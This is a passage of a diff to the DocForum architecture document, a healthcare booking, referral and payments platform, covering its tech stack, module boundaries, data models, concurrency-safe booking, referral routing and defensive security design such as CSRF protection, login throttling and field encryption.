a conditional UPDATE on the observed state, in the - same transaction as its AuditEvent (Β§4.10). Prepare is - created -> awaiting_signature; expiry is awaiting_signature -> created. - `submitting` is reserved for ADR 0005's submit half (not built). Orders - are priced in XLM today, so issuance writes asset_code='XLM'. - -PatientWalletLink - patient_profile_id (unique FK -> PatientProfile, cascade) - stellar_public_key, verified_at - # The PAYER wallet (ADR 0005). Rows are written by the SEP-10 flow, which - is not built yet; prepare requires one and returns 409 - WALLET_NOT_LINKED otherwise. - -WalletLink - facility_id (unique FK -> FacilityProfile, cascade) - stellar_public_key - # The PAYEE/payout wallet, facility-managed (ADR 0004). Unchanged by #79. -``` -Assets are an environment allowlist (`PAYMENT_ASSETS`; testnet defaults XLM + -USDC SACs) rather than a fixed enum: an intent in any other asset is -rejected at creation. Before funding (and preparing) an issued asset, the -payee's Horizon account is checked for an authorised trustline -(`PAYEE_TRUSTLINE_MISSING`); native XLM needs none. Only assets without -clawback/transfer fees/rebasing belong on the list β€” escrow threat model -T5, enforced as a curated config policy. - -## 5. Key flows (sequence-level, not code) - -### 5.1 Booking (concurrency-safe) -1. Client requests open slots for a doctor. -2. Client attempts to book a specific `AvailabilitySlot` β†’ backend runs this inside a DB transaction with a row-level lock / conditional update (`UPDATE ... WHERE status = 'open'`), so a second concurrent booking attempt on the same slot fails atomically instead of racing. -3. On success, `Appointment` is created referencing the now-`booked` slot. - -### 5.2 Referral (Phase 3 β€” issues #5/#7/#65–#68) -1. Doctor records a `Consultation` against their own **completed** appointment, then creates one or more `Referral`s from it (`POST /referrals`, or the atomic batch `POST /referrals/from-consultation/:id` / `POST /consultations/:id/referrals`) β€” each target gets its own `snapshot_notes` copy. Multi-referral is a deliberate decision recorded in `docs/adr/0006-multiple-referrals-per-consultation.md`: independent lifecycles born in one transaction, grouped only for presentation. A target is a **named verified doctor** *or* **a specialty**, and a specialty-only target is routed to a concrete doctor at creation (`docs/adr/0008`): least-loaded among eligible doctors β€” verified, holds the specialty, not the referring doctor, active account β€” where load counts that doctor's `pending` + `accepted` referrals; ties break on doctor id. Zero eligible doctors is a `422 REFERRAL_NO_ELIGIBLE_TARGET` and writes nothing, so an unassigned referral cannot exist. -2. Creation is one transaction: gates (own consultation, completed appointment, no self-referral, target verified [+ in specialty], no duplicate target in this consultation), lineage lookup (`parent_referral_id` via consultation β†’ appointment β†’ referral), then the loop walk (PRD Β§8.1.2 / issue #65) β€” a repeat doctor/specialty in the chain **flags** the referral for the admin queue rather than blocking it; exceeding the hop limit (`REFERRAL_MAX_HOPS`, default 4) hard-rejects with 422. -3. Patient must **accept** (PRD OQ-3): `POST /referrals/:id/accept` does a conditional `pending β†’ accepted` UPDATE (exactly one concurrent accept wins) and books a real `Appointment` against the target doctor through the appointments service β€” same `claimOpenSlot` path as a direct booking, `origin: 'referral'`, patient picks the slot, and no re-intake happens because the snapshot travels on the referral. Decline is `pending β†’ declined`, terminal. -4. The appointment's own status transition then cascades back into the referral inside the same transaction (issue #67): `completed β†’` referral `completed`; `cancelled β†’` referral back to `pending` (slot released, re-bookable, same snapshot); `no_show β†’` count++ and back to `pending`, except at `NO_SHOW_EXPIRY_THRESHOLD` (2) where it becomes `expired` with `referring_doctor_notified_at` set. Every one of these writes is conditional on the referral still being `accepted` and still pointing at that appointment, so a hook firing twice is a no-op. -5. Admin override (issue #68): `GET /referrals/admin/queue` (stuck/aged/loop-flagged, with a derived reason), reassign a **pending** referral to another verified doctor (target column only β€” snapshot untouched), cancel a `pending`/`accepted` referral with a reason (closing its live appointment through the appointments service). Reassign and cancel each write an `AuditEvent` (Β§4.10), readable at `GET /referrals/admin/:id/audit-events`. -6. The "zero verified doctors in that specialty" dead end (PRD edge case 8.2.2) is surfaced **at creation**: routing finds no eligible doctor, the call fails `422 REFERRAL_NO_ELIGIBLE_TARGET`, and the referring doctor is told before the patient is handed anything. What is still not built is the patient-facing "waiting for a specialist" state β€” that needs a target-less referral to exist, which ADR 0008 deliberately rejects. A routed referral whose doctor never publishes a slot still sits `pending` until issue #8's time-based expiry or an admin (#68) picks it up. - -### 5.3 Order issuance and fulfillment -1. Specialist issues `Prescription` and/or `LabOrder` from a `Consultation`. -2. Patient views eligible facilities filtered by `FacilityCapability` matching the order. -3. Patient selects a facility β†’ `FulfillmentRecord` created (`pending`). -4. Facility updates its own `FulfillmentRecord` status; for labs, attaches `LabResult`. -5. Order's own `status` field is updated to `fulfilled` only via this facility-confirmed path β€” patient/doctor cannot self-mark it. - -## 6. Hard questions (architecture-level β€” see PRD Β§8 for product-level) - -### 6.1 What do we think would break? -1. Naive slot booking without the DB-level conditional update in Β§5.1 β€” the most likely first bug filed against this repo. **Resolved 2026-09-14:** implemented exactly as designed in Β§5.1 β€” see `backend/src/modules/availability/repositories/index.ts` (`claimOpenSlot`) and `backend/src/modules/appointments/services/index.ts` (`bookSlot`, the transaction wrapping it). Integration-tested with real concurrency in `backend/tests/integration/booking.test.mts`. -2. `Referral.target_doctor_id` left nullable with no fallback assignment logic β€” referrals to "a specialty" with no specific doctor need a real routing rule (round robin? load-based?) or they'll pile up unassigned. **Resolved 2026-10-21 (Phase 3, issue #6 β€” `docs/adr/0008-referral-routing-without-target-doctor.md`):** the column stays **required** and the fallback logic now exists at creation β€” a specialty-only target is routed to the **least-loaded eligible doctor** (verified, holds the specialty, not the referring doctor, active account; fewest `pending`+`accepted` referrals, ties by doctor id) inside the creation transaction. Zero eligible doctors fails the call with `422 REFERRAL_NO_ELIGIBLE_TARGET` instead of writing an unowned row, so the pile-up this item predicts remains impossible. Still deliberately absent: a patient-facing "waiting for a specialist" state (it requires a nullable target), availability-aware routing (needs doctor-side availability/discovery), and a per-doctor "accepting referrals" switch β€” all deferred in the ADR with revisit triggers. -3. Polymorphic `FulfillmentRecord.order_id` (Β§4.7) β€” polymorphic FKs are a known footgun for referential integrity in Postgres. Needs either two separate tables (`PrescriptionFulfillment`, `LabOrderFulfillment`) or a check-constraint + application-level guard. **Current schema sketch is a simplification that should be revisited before implementation**, not treated as final. **Resolved 2026-10-22 (Phase 5, issue #13 β€” `docs/adr/0012-fulfillment-record-typed-order-fks.md`):** neither option exactly as posed β€” `FulfillmentRecord` stays **one table**, but the `(order_type, order_id)` pair is gone. It is replaced by two real foreign keys (`prescription_id`, `lab_order_id`, each `UNIQUE`) with a PostgreSQL `CHECK` requiring exactly one, plus the `facility_id` FK the sketch left as a TODO. Referential integrity is now the database's job, and the CHECK only chooses between two already-validated columns β€” which is what an `order_type`+`order_id` guard could never do, since Postgres cannot make a bare `TEXT` conditionally reference one of two tables. Keeping one table (rather than splitting) is what keeps Β§5.3 step 5 a single transition implementation and the facility's assigned-orders queue a single indexed query; the discriminator mechanism is the one `PaymentIntent` already uses (issue #85). Deferred by that decision rather than invented around: re-routing an order to a different facility after a `rejected` fulfillment would need a partial unique index, so in v1 a `rejected` row is terminal for that order β€” a corrected order is a new `supersedes_*_id` row and gets its own fulfillment. -4. JWT refresh rotation without a revocation list β€” a stolen refresh token has no clean kill switch until this is added. -5. **Discovered 2026-10-15 while building email verification (Phase 8, issue #34):** the email/SMS provider is still undecided (Phase 6, issue #17), so verification links can't actually be delivered in a hosted environment yet β€” `backend/src/modules/auth/services/email-dispatcher.ts` is a no-op seam until a provider is integrated. Until then `backend/scripts/mark-email-verified.mjs` is the documented out-of-band path for an operator with DB access. Not a reason to skip the guard: the guard is what makes the flow safe once delivery exists, and shipping it locked-off would just mean shipping it untested. - -6. **Discovered 2026-10-17 (issue #41):** after `DELETE /patients/me`, the caller's access token (stateless JWT, 15-minute TTL) still passes `authenticate` until it expires β€” there's no revocation list (item 4 above, issue #18). It can't reach anything: every patient route resolves the caller through `getMyPatientProfile`, which refuses an anonymised profile; booking/payments refuse it via `requireVerifiedEmail` (verification is cleared); refresh refuses `deleted_at`. Closing the window itself is #18's job. Also: Postgres reports `ON DELETE RESTRICT` as SQLSTATE 23001, which Prisma surfaces as an *unknown* request error, not `P2003` β€” `patients/services` `isForeignKeyRefusal` handles both; `middleware/error-handler.ts` currently maps neither to a 4xx. - -### 6.2 What edge cases are we missing (architecture-level)? -1. What happens to `AvailabilitySlot.status = 'held'` if a booking transaction fails/times out mid-flight β€” is there a TTL to release the hold? (Needed or slots leak into permanent limbo.) -2. Referral `expired` status exists in the enum but no expiry job is designed yet β€” orphaned referrals (PRD 8.1.3 sibling problem). **Partly addressed 2026-10-17 (Phase 3, issue #67):** repeated no-shows now drive a referral to `expired` (`NO_SHOW_EXPIRY_THRESHOLD = 2`, with `referring_doctor_notified_at` set as the seam Phase 6's notification layer will read). What is still missing is **time-based** expiry β€” a pending referral nobody ever accepts, or one whose target doctor never offers a slot, has no TTL and no worker. Tracked as issue #8; per Β§6.3.2 it should ship as a simple interval/cron, not a queue. -3. No schema support yet for a doctor working across multiple facilities/locations (PRD edge case 6) β€” `AvailabilitySlot` currently assumes one calendar per doctor. -4. ~~No audit-log table~~ **Foundation resolved 2026-10-17 (issue #43):** `AuditEvent` (Β§4.10) + `audit.record()` in the same transaction as the change, append-only at the DB level, wired into booking (both booking paths), doctor verification, payment fund/release/refund, the patient's referral accept/decline and the referral admin actions (`referral.reassign`, `referral.cancel` β€” Phase 3, issue #68, written as `entity_type = 'Referral'` rows in the same table). **Still open:** the referral's creation and the cascade-driven `completed`/`expired` transitions (no actor to attribute them to yet), the remaining Phase 4 transitions (prescriptions, lab orders, fulfillment), the admin login-throttle clear (`/auth/login-attempts/clear`) still only logs to the console; the app connects as the database owner, which could disable the triggers β€” enforcing append-only against the owner needs a separate least-privilege DB role (deployment work, issue #22). PRD Β§7 auditability is therefore "a real mechanism exists" rather than "auditability is done"; remaining coverage stays an open gap. -5. CSRF on the cookie-authenticated routes β€” the refresh cookie has to be `SameSite=None; Secure` (the Pages frontend is a different site β€” see `docs/adr/0003`), which means any site the patient visits can make their browser send it to `/auth/refresh` and `/auth/logout`. **Resolved 2026-10-15 (issue #37):** a per-session CSRF token is bound into the refresh token and required in the `X-CSRF-Token` header, the `Origin` header is validated against an explicit allowlist, and CORS is now a per-environment allowlist (`CORS_ORIGINS`) instead of one configured string. The double-submit cookie pattern β€” the usual answer β€” is *not* usable here: a cookie set by this API is a third-party cookie to `docforum.github.io`, so the frontend's JavaScript can never read it; the token travels in the login/refresh response body instead. A request with no `Origin` (curl, server-to-server) is allowed through the Origin check but still needs the token. See `backend/src/middleware/csrf.ts`, and `docs/api/README.md` for what the client must send. Consequence: refresh cookies issued before this change carry no `csrf` claim and are rejected, i.e. existing sessions need one re-login. - -### 6.3 What's overengineered (architecture-level, for v1)? -1. Polymorphic fulfillment design (Β§4.7) may itself be premature abstraction β€” two small, boring, separate tables might beat one clever polymorphic one at this stage. Flagged as a design smell to revisit, not shipped as-is. **Resolved 2026-10-22 (issue #13, `docs/adr/0012-fulfillment-record-typed-order-fks.md`):** the polymorphism was the premature part and it is gone. Splitting into two tables was weighed and rejected β€” it would give the Β§5.3 step-5 transition two implementations and the facility queue a cross-table union, i.e. *more* ceremony than the single typed-FK table, not less. -2. BullMQ/Redis job queue before there's a single job that needs it β€” fine to stub with a simple cron/interval check initially and introduce a real queue when reminder/expiry logic actually exists. -3. Designing for horizontal service extraction (module boundary purity, Β§3) before there's a single reason to split β€” worth doing lightly (it's cheap discipline), but not worth extra ceremony (e.g., separate repos, separate CI, internal API versioning) yet. -4. **Added 2026-10-17 (issue #40):** export bundles are stored as text chunks in Postgres (`PatientExportChunk`, Β§4.11), not in object storage as Β§2's file-storage row prescribes β€” no object-storage provider is integrated yet, and a filesystem store would break on Render's ephemeral disk and on any second instance. The chunks are read/written only by `patients/repositories`, are short-lived (`PATIENT_EXPORT_TTL_HOURS`, default 24) and are deleted by the cleanup job, so moving to S3 later swaps one storage seam rather than the design. Revisit when lab-result storage (Phase 5, issue #16) picks a provider. - -## 7. Non-functional / cross-cutting - -- **Testing**: unit tests per module (`backend/tests/unit`), integration tests for booking/referral/order flows specifically because those are the correctness-critical paths (`backend/tests/integration`). -- **Security β€” login throttling (Phase 8, issue #35)**: `POST /auth/login` is throttled per normalised email *and* per client IP, in Postgres (`LoginAttempt`, Β§4.9): exponential backoff with `Retry-After` from `LOGIN_THROTTLE_BACKOFF_AFTER` failures, a temporary lock at `LOGIN_THROTTLE_LOCK_AFTER`, and a cleanup interval in `src/server.ts`. Two things this depends on operationally: (1) `TRUST_PROXY` must be set correctly in production β€” Render terminates TLS in front of exactly one hop, so `TRUST_PROXY=1`; leaving it unset makes every request look like Render's proxy (one shared bucket for everyone), and `true` lets a client spoof `X-Forwarded-For` for a fresh bucket per request; (2) the throttle deliberately does not reveal whether an account exists β€” locked, backoff and unknown-account responses are identical, and an absent account still pays the bcrypt comparison cost so response timing doesn't leak either. -- **Migrations**: Prisma migrations are the only way schema changes happen β€” no manual DB edits, ever. -- **Environments**: local (Docker Compose), staging, production β€” staging/production infra choice is an open item (see ROADMAP). - -## 8. Explicit non-decisions (deferred, not forgotten) - -- Deployment target (Fly.io / Render / AWS / etc.) β€” still undecided for - production. A Render free-tier instance exists as a **preview only** - (so `docforum-web`'s GitHub Pages preview has a live backend to call) β€” - see `docs/adr/0003-render-preview-deployment.md`. Explicitly not this - decision: no secrets manager, no backups, disposable data, 30-day - free-tier DB expiry. -- Notification provider β€” **resolved (Phase 6, issue #17):** Postmark for - email and Twilio for SMS, behind the provider-agnostic `notifications` - interface (see Β§2). Provider SDK calls must stay inside the dispatch - adapter, never in business logic. -- Video/voice provider β€” undecided, PRD OQ-1 must resolve first. -- Multi-region / i18n β€” not designed for, not blocked either. +# ARCHITECTURE.md β€” DocForum + +Status: Draft v0.1 +Last updated: 2026-09-09 + +> **Contribution rule:** Any PR that changes a data model, a service boundary, or the tech stack must update this file in the same PR, and reflect the essentials in `ARCHITECTURE_ESSENTIALS.md`. Also update `ROADMAP.md` status if the change closes/opens roadmap work. + +See `PRD.md` for product scope and `ARCHITECTURE_ESSENTIALS.md` for the quick-reference version. + +--- + +## 1. Guiding principles + +1. **Modular monolith first, not microservices.** One deployable backend, internally organized into bounded modules (auth, doctors, appointments, referrals, consultations, orders, facilities, notifications). Split into services only when a concrete scaling or team-ownership problem demands it β€” not preemptively (see PRD Β§8.3). +2. **Orders are append-only.** Prescriptions and lab orders are never mutated after issuance. Corrections create a new versioned record referencing the original. This is a hard architectural constraint, not a style preference (clinical/legal safety). +3. **The referral carries state, not a pointer to state.** A referral snapshots the intake + consultation notes it's built on, so later edits elsewhere can't silently rewrite what a specialist already saw. +4. **Boring tech, correct concurrency.** Availability booking is a correctness problem before it's a scaling problem β€” solve double-booking with real DB constraints/transactions, not application-level checks. +5. **Build vs. buy for anything not core IP.** Video/chat infra, SMS/email delivery, file storage β€” use managed providers behind an internal interface so they're swappable. + +## 2. Tech stack + +| Layer | Choice | Why | +|---|---|---| +| Backend language/runtime | Node.js (TypeScript) | Single language across stack, large ecosystem, easy hiring. | +| Backend framework | Express 5 β€” **decided 2026-09-14**, resolving the "(or Fastify)" either/or | Minimal, unopinionated, matches "modular monolith" β€” avoid a heavy framework that fights the module boundaries. Express 5's native async-handler error forwarding (rejected promises reach the error middleware without a manual wrapper) was a real factor, not just familiarity. | +| Request validation | Zod | Not originally listed here β€” added alongside Phase 1's real request bodies. Schemas live per-module (`modules/*/validation.ts`), thrown `ZodError`s are caught centrally by `middleware/error-handler.ts`. | +| Password hashing | bcryptjs | Pure-JS, not a native bcrypt binding β€” one less native build dependency for a repo with no other native deps yet. | +| Database | PostgreSQL | Relational integrity is critical (bookings, orders, referrals all have strict FK/state constraints); JSONB available for the flexible parts (intake payload). | +| ORM / schema | Prisma 7, with the `@prisma/adapter-pg` (node-postgres) driver adapter β€” **upgraded 2026-10-16 to clear a high-severity advisory; see `docs/adr/0006`** | Schema-as-code, migrations, keeps `backend/prisma/schema.prisma` as the single source of truth for data models (mirrors Β§4 below). Two v7 facts that constrain where code goes: (a) there is no Rust query engine any more, so the client must be constructed with a driver adapter (`src/db/prisma-client.ts`) β€” bare `new PrismaClient()` throws; (b) the CLI's datasource URL lives in `backend/prisma.config.ts`, not in the schema's `datasource` block. The `prisma-client-js` generator is retained deliberately, so the client still generates into `node_modules/@prisma/client` and this backend stays CommonJS (see Β§3 note on `@docforum/escrow-sdk` being ESM-only). Requires Node >= 20.19. | +| Auth | JWT access + refresh tokens, role claims (`patient` \| `doctor` \| `facility` \| `admin`) | Simple, stateless for API scaling; refresh rotation for security. | +| Frontend | React + TypeScript, Vite | Fast dev loop, standard choice, no framework lock-in beyond React. | +| Frontend state/data | React Query (server state) + lightweight store (Zustand) for client-only UI state | Avoids over-centralizing server data into a global store. | +| Realtime (messaging/notifications) | WebSocket gateway (or managed pub/sub, e.g. Pusher/Ably) behind an internal `notifications` interface | Swappable; not custom infra from day one. | +| Video/voice (if/when needed) | Third-party embed (Twilio/Daily/Agora) behind an interface, not built in-house | PRD Β§8.3.1 β€” explicitly flagged as overengineering risk if built custom. | +| File/result storage | Object storage (S3-compatible) for lab result attachments | Never store clinical files directly in Postgres rows. | +| Email / SMS delivery | **Postmark** (transactional email) and **Twilio** (SMS), both behind the provider-agnostic `notifications` dispatch interface and the `email-dispatcher.ts` seam. Decided per `docs/adr/` (Phase 6, issue #17). | Transactional-only providers with no marketing-list coupling; swappable because business logic only ever calls the internal `Notification` dispatch interface, never a provider SDK. | +| Field-level encryption | AES-256-GCM envelope encryption (`backend/src/utils/field-encryption.ts`, Phase 8 issue #46) for clinical free text (`Consultation.notes`, `Referral.snapshotNotes`) | Limits blast radius of a leaked DB dump / over-broad read replica β€” encryption at rest doesn't protect against those. Versioned key-id prefix enables rotation without rewriting every row. **Constraint: encrypted fields cannot be searched or indexed** β€” they're write-once/read-decrypt blobs. | +| Background jobs | Simple queue (BullMQ on Redis) for reminders, order-expiry checks, notification delivery | Needed for FR-15/16 and the "orphaned order" hard question (PRD Β§8.1.3). | +| Infra | Docker Compose for local dev; containerized deploy target TBD (not decided β€” see Open Questions in ROADMAP) | Keep infra decisions deferred until a real deploy target is chosen; don't overbuild CI/CD for a repo with no code yet. | + +## 3. Module boundaries (backend) + +Each module under `backend/src/modules//` owns its own `routes/`, `controllers/`, `services/`, `repositories/`. Cross-module access happens through a module's exported service interface only β€” **never reach into another module's repository directly.** This is the internal seam that would let us extract a module into its own service later without a rewrite. + +- `auth` β€” signup/login, tokens, role checks. +- `users` β€” shared user profile fields common to all roles, plus the admin account lifecycle (invites, soft deactivation β€” issue #39). `auth` calls this module's services to create an invited admin; `users` never calls back into `auth`. +- `patients` β€” patient-specific profile data. +- `doctors` β€” doctor profile, specialties, verification status. +- `facilities` β€” lab/pharmacy accounts, capability tags (what order types they can fulfill). +- `availability` β€” slot generation and holds (the module responsible for preventing double-booking). +- `appointments` β€” booking lifecycle, links patient + doctor + slot + intake. +- `consultations` β€” the record of what happened in a booked appointment (notes, outcome). Minimal slice is real (create against one's own completed appointment, read for that doctor + the patient, spawn referrals); sign-off/addenda stay issue #4. +- `referrals` β€” referral creation, lifecycle, snapshot of context, loop flags, the appointment-status cascade, and the admin queue/override operations. This is the most cross-wired module: it creates appointments through `appointments`' service, and `appointments` calls back into `referrals`' service (`applyAppointmentOutcome`) from inside its status-transition transaction. That mutual service-to-service import is deliberate and runtime-safe under ESM live bindings (every cross-call happens in an async function, after both modules have loaded) β€” the alternative, either module reaching into the other's repository, is what hard rule 4 exists to prevent. +- `prescriptions` β€” prescription issuance and versioning. +- `lab-orders` β€” lab order issuance and versioning. +- `pharmacy-orders` β€” facility fulfillment for pharmacy orders (reference number required, optional attachment via `StorageProvider`, audit event logged). +- `orders` β€” patient order confirmation and dispute handling (`POST /orders/:id/confirm-receipt`, `POST /orders/:id/dispute`), derived `confirmedSignal` calculation, unconfirmed order expiry job, and admin dispute queue (`GET /admin/orders/disputes`, `POST /admin/orders/disputes/:id/resolve`). +- `notifications` β€” outbound notification dispatch, provider-agnostic. +- `payments` β€” `PaymentIntent`, the facility payee `WalletLink`, and the patient payer `PatientWalletLink` (Β§4.13). Relational metadata only; every Stellar call goes through `@docforum/escrow-sdk` via `services/escrow-sdk-loader.ts`. Assets are allowlisted per environment (issue #79), and the prepare half of ADR 0005 (issue #80) builds the unsigned patient transaction without moving funds. +- `audit` β€” the append-only `AuditEvent` trail (Phase 8, issue #43). Owns one write helper, `auditService.record(tx, actor, event)`, that every module calls **inside the transaction of the state change it describes** (it refuses the root client), and the admin-only `GET /admin/audit-events`. Controllers build the actor with `auditActor(req)` (`src/middleware/request-id.ts`: user id, role, `X-Request-Id`). Wired today: appointment booking (both the direct and the referral-origin path), consultation closing (Phase 2, issue #4), doctor verification, payment fund/release/refund, the patient's referral accept/decline, and the referral admin actions (Phase 3, issue #68 β€” `referral.reassign` / `referral.cancel`, recorded as `entityType: 'Referral'` rows; there is no second, referral-specific audit table). **Phase 4 transitions (fulfillment) must call `record()` in the same transaction when they're built** β€” prescriptions and lab orders already do. Also owns the PHI read-access log (Phase 8, issue #45, Β§4.11): `auditService.recordAccess()` (fire-and-forget off the read path, fail-open but counted), admin `GET /admin/access-logs` (+ `/user`, `/stats`) and the patient-facing `GET /patients/me/access-log`, whose response strips all viewer PII to a role. + +### 3.1 Patient data export registry (Phase 8, issue #40) + +Right of access (`POST /patients/me/export`) is coordinated by `patients`, +but **each module contributes its own section through its own `services/` +interface** β€” `patients` never reads another module's tables to build an +export. The pieces: + +- `modules/patients/services/export-registry.ts` β€” the `PatientExportSection` + contract (`name`, `version`, `pages(subject, pageSize)` yielding pages of + plain JSON items), `registerExportSection`, and a `paginate` keyset helper. +- `src/export-sections.ts` β€” the one explicit list of registered sections, + called from `createApp()`. It's wiring, outside `modules/`, so `patients` + doesn't have to import every module that already imports `patients`. +- Current sections: `account` (auth: email/phone/role, never the password + hash), `profile` (patients), `appointments` (appointments, with slot times + from `availability` and the doctor's name from `doctors`, both via their + services), `payments` (version 2: amount in the asset's smallest unit, + asset code, status, on-chain tx hash / escrow id / contract id; the + platform's signing secrets never live in a row and can't reach an export). + +**Adding a module with patient data (referrals, prescriptions, lab orders, +…):** export a `PatientExportSection` from that module's `services/` and add +it to `src/export-sections.ts`. Rules for a section: an explicit field +allowlist (never spread a Prisma row β€” a column added later must not leak by +default); page through your own tables with `paginate` (at most `pageSize` +rows in memory); batch any cross-module lookups per page through the other +module's service; JSON-safe values only (BigInt β†’ string). Bump `version` +when the item shape changes. A section that throws fails the whole export β€” +there is no "partial" bundle. + +Generation runs in `src/jobs/patient-exports.ts` (plain intervals, woken +immediately by a new request). Sections run one at a time and the bundle is +flushed in bounded chunks to `PatientExportChunk` (Β§4.11), so memory is +bounded by one page of rows plus one chunk regardless of history length. + +### 3.1 Account deletion and retention holds (Phase 8, issue #41) + +`DELETE /patients/me` is orchestrated by `patients` and anonymises in one +transaction: the `User` row through `auth`'s service (`anonymizeAccount`, +which takes the caller's transaction client) and the `PatientProfile` +through `patients`' own repository. Nothing is cascaded; see +`docs/adr/0010` for the per-model retention table. + +The scheduled purge (`src/jobs/account-purge.ts`) may only hard-delete a +*tombstone*: an anonymised patient that no module still holds records for. +"Holds records" is answered by each owning module through its own service, +registered in `src/retention-holds.ts` (wiring, outside `modules/`, because +`patients` can't import modules that already import it). The RESTRICT +foreign keys are the backstop. **A new module with patient-linked records +must do both:** reference `PatientProfile` with `onDelete: Restrict`, and add +a hold. + +## 4. Data models + +Canonical source of truth: `backend/prisma/schema.prisma`. This section is the human-readable mirror β€” if they drift, the schema file wins and this doc should be corrected in the same PR. + +**Phase 1 models are real** (User, PatientProfile, DoctorProfile, Specialty, DoctorSpecialty, FacilityProfile, FacilityCapability, AvailabilitySlot, Appointment) β€” migrated via `backend/prisma/migrations/20260914110638_init/`. **Phase 3 added the real `Referral` and the `Consultation`↔appointment link** β€” migrated via `backend/prisma/migrations/20261016214929_referral_phase3/`; Β§4.3 and Β§4.4 describe what actually shipped, not a sketch. The audit trail (`AuditEvent`, Β§4.10) is the Phase 8 one (issue #43, `20261017212335_add_audit_event`) β€” the referral admin actions live in it rather than in a second table. Everything else below (Β§4.5 onward) is still the Phase 0 structural placeholder. + +Three intentional deviations from the original sketches, all flagged in the schema file itself: `Appointment.intakeId` is deferred (nullable-by-omission, not yet a column) since `IntakeForm` doesn't exist until Phase 2; `PatientProfile.guardianUserId` was a plain string with no FK relation while the minor/dependent consent model (PRD Β§8.2.5) was open β€” **replaced in Phase 8 (issue #42, `docs/adr/0011`)** by the `Guardianship` relation (Β§4.1); and `Referral.snapshotIntakeId` likewise has no column yet (there is no `IntakeForm` to snapshot) β€” the intake half of the snapshot rule cannot be violated while there is no intake data at all, and the column must be added (as a copy) when issue #1 lands. + +### 4.1 User / Role model +``` +User + id, email, phone, password_hash, role (enum: patient|doctor|facility|admin) + email_verified_at (nullable β€” Phase 8 issue #34; null = unverified. + Backfilled to created_at for pre-existing rows in the + add_email_verification migration, so accounts from before this phase + are treated as verified) + locale (string, default `en` β€” Phase 9 issue #133; selected from + Accept-Language at signup, unsupported tags fall back to `en`) + locale (string, default `en` β€” Phase 9 issue #133; supported language + selected from Accept-Language at signup, unsupported tags fall back to `en`) + deleted_at (nullable β€” Phase 8 issue #41, docs/adr/0010; set once, + irreversibly, when the account is deleted. The row is anonymised in + place: email -> deleted+@deleted.invalid, phone null, password + unusable, email_verified_at null. Login and refresh refuse it.) + created_at, updated_at + +EmailVerificationToken (Phase 8 issue #34) + id, user_id (FK -> User), token_hash (unique, SHA-256 β€” raw token never stored) + expires_at, consumed_at (nullable), created_at + # Append-only-ish: issuing a new token marks any outstanding one consumed + ("latest link wins") rather than deleting it. Redemption is a conditional + UPDATE (consumed_at IS NULL), same single-use shape as Β§5.1's booking + guarantee, so two concurrent redemptions can't both win. + +PatientProfile (1:1 User, or 0:1 for a dependent) + id, user_id (nullable since issue #42 β€” null = a guardian-owned dependent + with no login; still unique. FK -> User, ON DELETE RESTRICT since issue + #41 β€” was CASCADE), full_name, date_of_birth + anonymized_at (nullable β€” issue #41; set with full_name -> 'Deleted patient', + date_of_birth -> null. The row stays so Appointment and + PaymentIntent keep their FK; both of those reference it ON DELETE RESTRICT.) + # CHECK (user_id IS NOT NULL OR date_of_birth IS NOT NULL): a dependent + always has a DOB, because guardian access ends at the age of majority. + # guardian_user_id (unenforced string) was dropped in issue #42; the + migration refuses to run if any row still had a value. + +Guardianship (Phase 8, issue #42 β€” docs/adr/0011) + id, guardian_user_id (FK -> User, RESTRICT), dependent_profile_id (FK -> PatientProfile, RESTRICT) + created_at, revoked_at (nullable) + # unique (guardian_user_id, dependent_profile_id) β€” no duplicate pairs. + # Created only together with a new dependent profile (POST + /patients/me/dependents); there is no way to link an existing profile. + # Active = revoked_at IS NULL AND the dependent is under + AGE_OF_MAJORITY_YEARS (UTC calendar date, checked at request time). + Never deleted β€” ending access sets revoked_at, or happens by age. + # All dependent-scoped access goes through + patients/services resolveActingProfile (booking, appointment listing). + +DoctorProfile (1:1 User) + id, user_id, full_name, verification_status (enum: pending|verified|rejected) + specialties: DoctorSpecialty[] + +Specialty (controlled vocabulary, admin-managed) + id, name, slug + +DoctorSpecialty (join table) + id, doctor_profile_id, specialty_id + +FacilityProfile (1:1 User) + id, user_id, name, type (enum: lab|pharmacy), capabilities: FacilityCapability[] + +FacilityCapability + id, facility_profile_id, capability_type (enum: lab_test|medication_dispense), detail (e.g. test category) +``` + +### 4.2 Availability & Appointments +``` +AvailabilitySlot + id, doctor_profile_id, start_time, end_time, status (enum: open|held|booked) + # Uniqueness/exclusion constraint at DB level on (doctor_profile_id, start_time, end_time) + # to make double-booking a constraint violation, not an app-logic bug. + +Appointment + id, patient_profile_id, doctor_profile_id, availability_slot_id (FK, unique, NULLABLE) + intake_id (FK -> IntakeForm β€” still not a column, Phase 2 issue #1/#2) + status (enum: scheduled|completed|cancelled|no_show) + origin (enum: direct_booking|referral), referral_id (nullable FK -> Referral) + created_at, updated_at + # availability_slot_id is nullable (Phase 3): a cancelled appointment + # releases its slot back to `open` and drops the unique link, so the + # freed slot can be re-booked. The booking guarantee itself is + # unchanged β€” it lives in claimOpenSlot's conditional UPDATE, not in + # this column. History rows keep their referral_id, so the lineage of a + # referral that produced several appointments survives the link being + # cleared (Referral.appointments holds the full list). + +IntakeForm + id, patient_profile_id, symptoms (structured: array of {symptom, duration, severity}), free_text_notes + created_at +``` + +### 4.3 Consultation +``` +Consultation + id, appointment_id (FK, unique β€” one consultation per appointment; + a re-visit is a new appointment, not a second row) + notes [ENCRYPTED β€” Phase 8 issue #46, see Β§2 field-level encryption row] + outcome (enum: resolved|referred|follow_up_needed, nullable in the schema β€” + the close routes require it, so a closed record has one; see below) + created_at, updated_at + referrals: Referral[] # children β€” the lineage loop detection walks +``` +**Implemented 2026-10-20 (Phase 2, issue #4):** `appointment_id UNIQUE` is what makes a consultation closable **once** β€” a second concurrent close loses at the INSERT, not at an app-level check (see docs/adr/0009). There is no amendment/edit path in v1. `notes` is encrypted on write via `encryptField()` (requires `FIELD_ENCRYPTION_KEY_V1`), so the first writer to a clinical free-text column honours the rule below rather than starting a plaintext precedent; reads decrypt in the consultations service. + +The row has exactly one writer β€” `consultationsService.createConsultation` β€” reachable from three addresses so that no path can bypass the uniqueness, encryption or audit rules: `POST /consultations` (appointment in the body; Phase 3's referral slice, `outcome` optional so a record can exist before sign-off), `POST /appointments/:id/consultation` (Phase 2's close route, `outcome` + `notes` required), and the orders flow's consultation step (which adds its own verified-doctor gate and then delegates). All of them require the appointment to be `completed` and to belong to the calling doctor, and all of them write the same `consultation.closed` audit event in the same transaction. + +**Encryption note:** `notes` is stored as an AES-256-GCM envelope (`v1:::`) via `backend/src/utils/field-encryption.ts`. Because it's encrypted, it **cannot be searched or indexed** β€” any future full-text search over 